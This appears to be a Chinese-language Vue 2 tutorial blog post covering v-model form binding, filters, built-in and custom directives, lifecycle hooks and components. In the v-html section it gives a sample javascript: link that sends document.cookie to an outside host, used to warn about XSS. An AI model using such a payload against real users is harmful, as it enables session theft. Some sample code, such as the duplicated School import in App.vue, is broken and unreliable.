文章目录
Vue2学习day03
收集表单数据
收集表单数据:
-
若
<input type="text"/>
,则v-model
收集的是value
值,用户输入的就是value值 -
若
<input type="radio" />
,则v-model
收集的是value值,且要给标签配置 h b value值 -
若
<input type="checkbox" />
- 没有配置
input
的value
属性,那么收集的就是checked
(勾选与否,布尔值) - 配置
input
的value
属性:v-mode
l的初始值是非数组,那么收集的就是checked
v-model
的初始值是数组,那么收集的就是value
组成的数组
v-model
的三个修饰符:lazy
:失去焦点再收集数据number
:输入字符串转为有效的数字trim
:输入首尾空格过滤
- 没有配置
上述在输出信息到控制台时,直接将vm._data转为JSON输出,虽然这样做没有任何问题,但是我们 一般不直接操作vm._data1,可以封装为一个userInfo对象,而后将该userInfo对象转为json字符串输出到控制台
userInfo{
account:'',
password:'',
sex:'female',
age:18,
hobby:[],
city:'beijing',
other:'',
agree:''
}
过滤器
过滤器:
- 定义:对要显示的数据进行特性格式化后再显示(适用于一些简单逻辑的处理)
- 语法:
- 1、注册过滤器:Vue.filter(name,callback) 或 new Vue(filters:{}}
- 2、使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性=“xxx | 过滤器名”
- 备注:
- 1、过滤器也可以接收额外参数、多个过滤器也可以串联
- 2、并没有改变原来的数据,是产生新的对应的数据
以下案例用到第三方包dayjs
实现date的格式转换,可去BootCDN下载使用,使用时记得引入
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h2>现在是:{{fmtTime}}</h2>
<!-- methods实现 -->
<h2>现在是:{{getFmtTime()}}</h2>
<!-- 过滤器实现 -->
<h2>现在是:{{time | timeFormater}}</h2>
<!-- 过滤器实现(传参) -->
<h2>现在是:{{time | timeFormater('YYYY年MM月DD日 HH:mm:ss')}}</h2>
<!-- 过滤器实现(传参) -->
<h2>现在是:{{time | timeFormater('YYYY年MM月DD日') | mySplice}}</h2>
<h2 :x="msg | mySlice">vue</h2>
</div>
<div id="root2">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
// 全局过滤器
// 要定义在new Vue之前
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el: '#root',
data: {
time:1646795441161,
msg:"Vue学习"
},
computed:{
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
filters:{
// 局部过滤器
timeFormater(value, str='YYYY-MM-DD HH:mm:ss'){
return dayjs(value).format(str)
}
}
})
new Vue({
el: '#root2',
data: {
time:1646796238896
}
})
</script>
内置指令
内置指令即Vue提供我们直接使用的指令,
- 前面已经学习过:
- v-bind: 单向绑定解析表达式,可简写为xxx
- v-model: 双向数据绑定
- v-for: 遍历数组/对象/字符串
- v-on: 绑定事件监听,可简写为@
- v-if: 条件渲染(动态控制节点是否存在)
- v-else: 条件渲染(动态控制节点是否存在)
- v-show: 条件渲染(动态控制节点是否展示)
接下来我们来学习下Vue其他常见的内置指令
v-text指令:
-
作用:向其所在节点中渲染文本内容
-
与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会
<div id="root"> <div>{{name}}</div> <!-- 替换标签体中的全部内容,不会解析标签 --> <div v-text="str"></div> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name:'Vue', str:'<h2>敲代码</h2>' } }) </script>
v-html指令
v-html
指令是与v-text
非常相像的一个内置指令,但是其可以解析html标签
v-html指令:
-
作用:向制定节点中渲染包含html结构的内容
-
与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
-
严重注意:v-html有安全性问题
- 在网站上动态渲染任意html是非常危险的,容易导致xss攻击
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
{{name}}<script type="text/javascript"> Vue.config.productionTip = false new Vue({ el: '#root', data: { name:'Vue', str:'<h2>敲代码</h2>', str2:' <a href=javascript:location.href="http://www.baidu.com?"+document.cookie>资源</a>' } }) </script>
以上代码点击链接跳转是可以盗取用户cookies是十分危险的
v-cloak指令(没有值)
v-cloak指令(没有值)
-
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
-
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
使用css批量操作带有v-cloak
属性的标签,以达到其在Vue实例创建完毕后在进行展示{{name}}
v-once指令(没有值)
v-once指令(没有值):
-
v-once所在节点在初次动态渲染后,就视为静态内容了
-
以后数据的改变不会引起v-once所在结构的更新,可以用户优化性能
初始化的n值为:{{n}}
当前n的值为:{{n}}
v-pre指令(没有值)
v-pre指令(没有值)
-
跳过其所在节点的编译过程
-
可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
初始化的n值为:{{n}}
当前n的值为:{{n}}
自定义指令
自定义指令:
-
定义语法:
-
局部指令:
new Vue({ directives:(指令名:配置对象) })
或
new Vue({ directives(指令名:回调函数) })
-
全局指令:
Vue.directive(指令名,配置对象)
或Vue.directive(指令名,回调函数)
-
-
配置对象中常用的3个回调:
- bind:指令与元素绑定时调用
- inserted:指令所在元素被插入页面时调用
- update:指令所在模板结构被重新解析时调用
-
自定义指令函数式何时会被调用?
- 1、指令与元素成功绑定是(一上来初始化)
- 2、指令所在的模板被重新解析时
-
备注:
- 指令定义时不加
v-
,但是使用时要加v-
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
{{name}}
当前的n值是{{n}}
放大十倍后的n值为:
放大十倍后的n值为:
- 指令定义时不加
Vue生命周期
引出生命周期
生命周期:
-
又名:生命周期回调函数、生命周期函数、生命周期钩子
-
是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
-
生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
-
生命周期函数中的this指向是vm或组件实例对象
Vue学习
Vue学习
分析生命周期
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
// 整个root都被替掉
// template:`
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>`,
data: {
n:1
},
methods: {
add(){
this.n++
}
},
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('Create')
},
beforeMount() {
console.log('beforeMount')
// debugger
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdata')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
总结生命周期
-
常用的生命周期钩子:
- mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
-
关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但是DOM事件依然有效
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程
Vue学习
非单文件组件
为什么要使用组件?下图为尚硅谷老师关于组件优点的讲解图
组件:
- 实现应用中局部功能代码和资源的集合,复用编码,简化编码,提高运行效率
基本使用
-
Vue中使用组建的三大步骤:
- 一、定义组件(创建组件)
- 二、注册组件
- 三、使用组件(写组件标签)
- 如何定义一个组件?
- 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有区别
- 区别如下:
el
不要写,为什么?——最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器data
必须写成函数,为什么?——避免组件被复用时,数据存在引用关系,一个改变其他的跟着变- 备注:使用template可以配置组件结构
- 如何注册组件?
- 局部注册:靠new Vue的时候传入components选项
- 全局注册:靠Vue.component(‘组件名’,组件)
- 编写组件标签
- 如:
{{msg}}
几个注意点
几个注意点:
-
关于组件名:
- 一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
- 多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
- 备注:
- 组件名尽可能回避html中已有的元素名称
- 可以使用name配置指定组件在开发者工具中呈现的名字
- 一个单词组成:
-
关于组件标签:
- 第一种写法:
- 第二种写法: 但是不使用脚手架时,该写法会导致后续组件不能渲染
-
一个简写方式:
- const school = Vue.extend(options)可以简写为:const school = options
{{msg}}
组件的嵌套
<div id="root">
<!-- 第三步,编写组件标签 -->
<app></app>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
// 创建组件、注册组件、使用
// 第一步:创建student组件
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
// el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
data() {
return {
studentName:'张三',
age:20
}
},
})
// 第一步:创建school组件
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<student></student>
</div>
`,
// el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
components:{
student
}
})
// 第一步:创建hello组件
const hello = Vue.extend({
template:`
<h1>{{msg}}</h1>
`,
// el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
data() {
return {
msg:'Vue学习之组件的嵌套'
}
}
})
// 定义app组件
const app = Vue.extend({
template:`
<div>
<hello></hello>
<school></school>
</div>
`,
components:{
school,
hello
}
})
// 创建vm
new Vue({
//template:'<app></app>',
el: '#root',
// 第二步:注册组件(局部注册)
components:{
app
}
})
</script>
VueComponent
关于VueComponent:
-
school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
-
我们只需要写
<school/>
或<school></school>
,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options) -
特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent
-
关于this指向:
- 组件配置中
- data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【VueComponent实例对象】
- new Vue()配置中
- data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【Vue实例对象】
- VueComponent的实例对象,以后在博客中简称vc(也可以称之为:组件实例对象)
- Vue的实例对象,以后简称vm
- 组件配置中
一个重要的内置关系
-
一个重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype
-
为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法
// 定义一个构造函数
// 实例的隐式原型属性永远指向自己缔造者的
function Demo(){
this.a = 1
this.b = 2
}// 创建一个Demo的实例对象
const d = new Demo()console.log(Demo.prototype) // 显示原型属性
console.log(d.proto) // 隐式原型属性
console.log(Demo.prototype==d.proto)
// 程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
Demo.prototype.x = 99console.log(’@’,d)
```html <div id="root"> <!-- 第三步,编写组件标签 --> <school></school> </div> <script type="text/javascript"> Vue.config.productionTip = false Vue.prototype.x = 99 // 第一步:创建school组件 const school = Vue.extend({ template:` <div> <h2>学校名称:{{schoolName}}</h2> <h2>学校地址:{{address}}</h2> <button @click="showX()">点我输出x</button> </div> `, // el: '#root', //组件定义时一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器 data() { return { schoolName:'曲师', address:'曲阜' } }, methods: { showX(){ console.log('x',this.x) } }, }) // 创建vm new Vue({ el: '#root', // 第二步:注册组件(局部注册) components:{ school } }) console.log(school.prototype.__proto__ === Vue.prototype) </script>
单文件组件
关于为什么要使用单文件组件,以下为官网给出的解释
在很多 Vue 项目中,我们使用 Vue.component 定义全局组件,紧接着用new Vue({el: '#container'})
在每个页面内指定一个容器元素。
这种方式在很多中小规模的项目中运作的很好,在这些项目里 JavaScript 只被用来加强特定的视图。
但当在更复杂的项目中,或者你的前端完全由 JavaScript 驱动的时候,下面这些缺点将变得非常明显:
全局定义 (Global definitions) 强制要求每个 component 中的命名不得重复
字符串模板 (String templates) 缺乏语法高亮,在 HTML 有多行的时候,需要用到丑陋的
不支持 CSS (No CSS support) 意味着当 HTML 和 JavaScript 组件化时,CSS 明显被遗漏
没有构建步骤 (No build step) 限制只能使用 HTML 和 ES5 JavaScript,而不能使用预处理器,
如 Pug (formerly Jade) 和 Babel
文件扩展名为 .vue 的 single-file components (单文件组件) 为以上所有问题提供了解决方法,
并且还可以使用 webpack 或 Browserify 等构建工具。
xxx.vue 直接交给浏览器是不能运行的,等经过处理加工成js文件,可通过webpack
或者Vue提供的脚手架,给xxx.Vue起名时的规则:school.vue School.Vue my-school.vue MySchool.vue
下面单文件组件案例我们在上述非单文件组件案例的基础上进行改造
首先先创建School组件和Student组件
School.vue
<template>
<!-- 组件的结构 -->
<div class="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
// 组件交互相关的代码
// 第一种暴露,分别暴露
//export const school = Vue.extend({...})
//默认暴露
// export default Vue.extend({..})
// Vue.extend()可省
export default {
name:'School',
data() {
return {
name:'曲师',
address:'曲阜'
}
},
methods: {
showName(){
alert(this.name)
}
},
}
// 统一暴露
//export {school} 引入import {xxx} from xxx
// 默认暴露 一般使用该方式 引入简单 import xxx from xxx
//export default school
</script>
<style>
/* 组件的样式 */
.demo{
background-color: orange;
}
</style>
Student.vue
<template>
<!-- 组件的结构 -->
<div>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name:'School',
data() {
return {
name:'张三',
age:'20'
}
},
}
</script>
App.vue
<template>
<div>
<School></School>
<Student/>
</div>
</template>
<script>
// 引入组件
import School from './School.vue'
import School from './Student.vue'
export default {
name:'App',
components:{
School,
Student
}
}
</script>
main,js
import App from './App.vue'
new Vue({
el:'#root',
template:`<App></App>`,
components:{
App
}
})
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>单文件组件语法练习</title>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root"></div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="./main.js"></script>
</body>
</html>